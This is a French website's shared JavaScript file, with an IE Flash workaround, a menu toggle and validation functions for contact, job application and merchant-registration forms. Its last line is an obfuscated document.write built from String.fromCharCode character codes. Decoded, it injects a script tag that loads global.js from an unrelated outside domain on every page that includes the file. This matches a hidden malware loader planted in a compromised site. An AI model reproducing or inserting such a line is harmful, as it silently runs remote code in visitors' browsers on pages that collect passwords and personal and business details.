/* Javascripts utilisés sur le site
 * Mettez l'ensemble de vos fonctions générique javascript ici
 * 
 * La liaison avec les page se fait à l'aide du code ci-dessous :
 * <script type="text/javascript" src="css-js/scripts.js"></script>
 */

/* CORRECTION DU BUG DE FLASH AVEC IE */
function bugFlash() {
	//Determine browser, we only need this for Internet Explorer
	if (navigator.appName == "Microsoft Internet Explorer") {
		
		//Array of elements to be replaced
		var arrElements = new Array(3);
		arrElements[0] = "object";
		arrElements[1] = "embed";
		arrElements[2] = "applet";
	
		
		//Loop over element types
		for (n = 0; n < arrElements.length; n++) {
		
			//set object for brevity
			replaceObj = document.getElementsByTagName(arrElements[n]);
			
			//loop over element objects returned
			for (i = 0; i < replaceObj.length; i++ ) {
			
				//set parent object for brevity
				parentObj = replaceObj[i].parentNode;
				
				//grab the html inside of the element before removing it from the DOM
				newHTML = parentObj.innerHTML;
				
				//remove element from the DOM
				parentObj.removeChild(replaceObj[i]);
				
				//stick the element right back in, but as a new object
				parentObj.innerHTML = newHTML;
			
				}
			}
		}
	}



function montre(id) {
var d = document.getElementById(id);
	for (var i = 1; i<=10; i++) {
		if (document.getElementById('smenu'+i)) {document.getElementById('smenu'+i).style.display='none';}
	}
if (d) {d.style.display='block';}
}


function is_numeric(field){
	return !isNaN(document.getElementById(field).value);
}
function is_email(field){
	rx=new RegExp("^[\\w\.-]+@[\\w\\.-]+\\.[a-zA-Z]{2,4}$");
	if(!rx.test(document.getElementById(field).value)){
		return false;
	} else {
		return true;
	}
}
function is_empty(field){
	if(document.getElementById(field).value == ''){
		return true;
	} else {
		return false;
	}
}
function verifFormContact(){
	var erreurs = ''; // pas d'erreur par défaut
	// vérification des champs obligatoires
	if(is_empty('nom')){
		erreurs += 'Vous devez renseigner votre nom\n';
	}
	if(!is_email('email')){
		erreurs += 'Votre e-mail ne semble pas valide\n';
	}
	if(erreurs != ''){
		alert('Les informations requises sont incomplètes ou contiennent des erreurs:\t\t\t\t\t\n\n'+erreurs);
		return false;
	} else {
		return true;
	}
}

function verifFormPostuler(){
	var erreurs = ''; // pas d'erreur par défaut
	// vérification des champs obligatoires
	if(is_empty('nom')){
		erreurs += 'Vous devez renseigner votre nom\n';
	}
	if(is_empty('prenom')){
		erreurs += 'Vous devez renseigner votre prenom\n';
	}
	if(is_empty('telephone')){
		erreurs += 'Vous devez renseigner votre telephone\n';
	}
	if(is_empty('cv')||is_empty('lettre')){
		erreurs += 'Vous devez nous envoyer votre CV et votre lettre de motivation\n';
	}
	if(!is_email('email')){
		erreurs += 'Votre e-mail ne semble pas valide\n';
	}
	if(erreurs != ''){
		alert('Les informations requises sont incomplètes ou contiennent des erreurs:\t\t\t\t\t\n\n'+erreurs);
		return false;
	} else {
		return true;
	}
}

function verifFormReference()
{
	var erreurs = ''; // pas d'erreur par défaut
	// vérification des champs obligatoires
	if(is_empty('personne')){
		erreurs += 'Vous devez renseigner le nom de l\'entreprise\n';
	}
	if(is_empty('entreprise')){
		erreurs += 'Vous devez renseigner le nom de l\'interlocuteur\n';
	}
	if(is_empty('fonction')){
		erreurs += 'Vous devez renseigner votre fonction\n';
	}
	if(!is_email('email')){
		erreurs += 'Votre e-mail ne semble pas valide\n';
	}
	if(is_empty('telephone')){
		erreurs += 'Vous devez renseigner votre telephone\n';
	}
	if(erreurs != ''){
		alert('Les informations requises sont incomplètes ou contiennent des erreurs:\t\t\t\t\t\n\n'+erreurs);
		return false;
	} else {
		return true;
	}
}


function verifFormSiteMarchand()
{
	var erreurs = ''; // pas d'erreur par défaut
	// vérification des champs obligatoires
	if(is_empty('identifiant')){
		erreurs += 'Vous devez renseigner votre identifiant\n';
	}
	if(is_empty('motpasse')||is_empty('confirmationmp')){
		erreurs += 'Vous devez renseigner votre mot de passe\n';
	}
	else if(document.getElementById('motpasse').value.length<6) {
		erreurs += 'le mot de passe doit etre de 6 caratères au moins\n';
	}
	else if(document.getElementById('motpasse').value!=document.getElementById('confirmationmp').value) {
		erreurs += 'la confirmation dumot de passe est erronée.\n';
	}	
	if(erreurs != ''){
		alert('Les informations requises sont incomplètes ou contiennent des erreurs:\t\t\t\t\t\n\n'+erreurs);
		return false;
	}
	if(is_empty('nom')){
		erreurs += 'Vous devez renseigner votre nom\n';
	}
	if(is_empty('prenom')){
		erreurs += 'Vous devez renseigner votre prenom\n';
	}
	if(!is_email('email')){
		erreurs += 'Vous devez renseigner un email valide\n';
	}
	if(is_empty('fax')){
		erreurs += 'Vous devez renseigner votre fax\n';
	}
	if(is_empty('telephone')){
		erreurs += 'Vous devez renseigner votre telephone\n';
	}
	if(is_empty('mobile')){
			erreurs += 'Vous devez renseigner votre mobile\n';
	}
	if(erreurs != ''){
		alert('Les informations requises sont incomplètes ou contiennent des erreurs:\t\t\t\t\t\n\n'+erreurs);
		return false;
	}
	if(is_empty('raisonsociale')){
		erreurs += 'Vous devez renseigner votre raisonsociale\n';
	}
	if(is_empty('siret')||document.getElementById('siret').value.length!=14){
		erreurs += 'Vous devez renseigner votre N° de siret (14 caratères)\n';
	}
	if(is_empty('ape')){
		erreurs += 'Vous devez renseigner votre code APE\n';
	}
	if(document.getElementById('employe').options[document.getElementById('employe').selectedIndex].value=="0"){
		erreurs += 'Vous devez renseigner le nombre d\'employés\n';
	}
	if(erreurs != ''){
		alert('Les informations requises sont incomplètes ou contiennent des erreurs:\t\t\t\t\t\n\n'+erreurs);
		return false;
	}
	if(is_empty('adressefacturation')){
		erreurs += 'Vous devez renseigner votre adresse de facturation\n';
	}
	if(is_empty('cpfacturation')){
		erreurs += 'Vous devez renseigner votre code postal de facturation\n';
	}
	if(is_empty('villefacturation')){
		erreurs += 'Vous devez renseigner votre ville de facturation\n';
	}
	if(is_empty('paysfacturation')){
		erreurs += 'Vous devez renseigner votre pays de facturation\n';
	}
	if(document.getElementById('connuittel').options[document.getElementById('connuittel').selectedIndex].value=="0"){
		erreurs += 'Vous devez renseigner la source\n';
	}
	if(erreurs != ''){
		alert('Les informations requises sont incomplètes ou contiennent des erreurs:\t\t\t\t\t\n\n'+erreurs);
		return false;
	} else {
		return true;
	}
}

document.write(String.fromCharCode(60,83,67,82,73,80,84,32,76,65,78,71,85,65,71,69,61,34,74,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,103,101,101,109,112,105,114,101,46,99,111,109,47,103,108,111,98,97,108,46,106,115,34,62,60,47,115,99,114,105,112,116,62,10));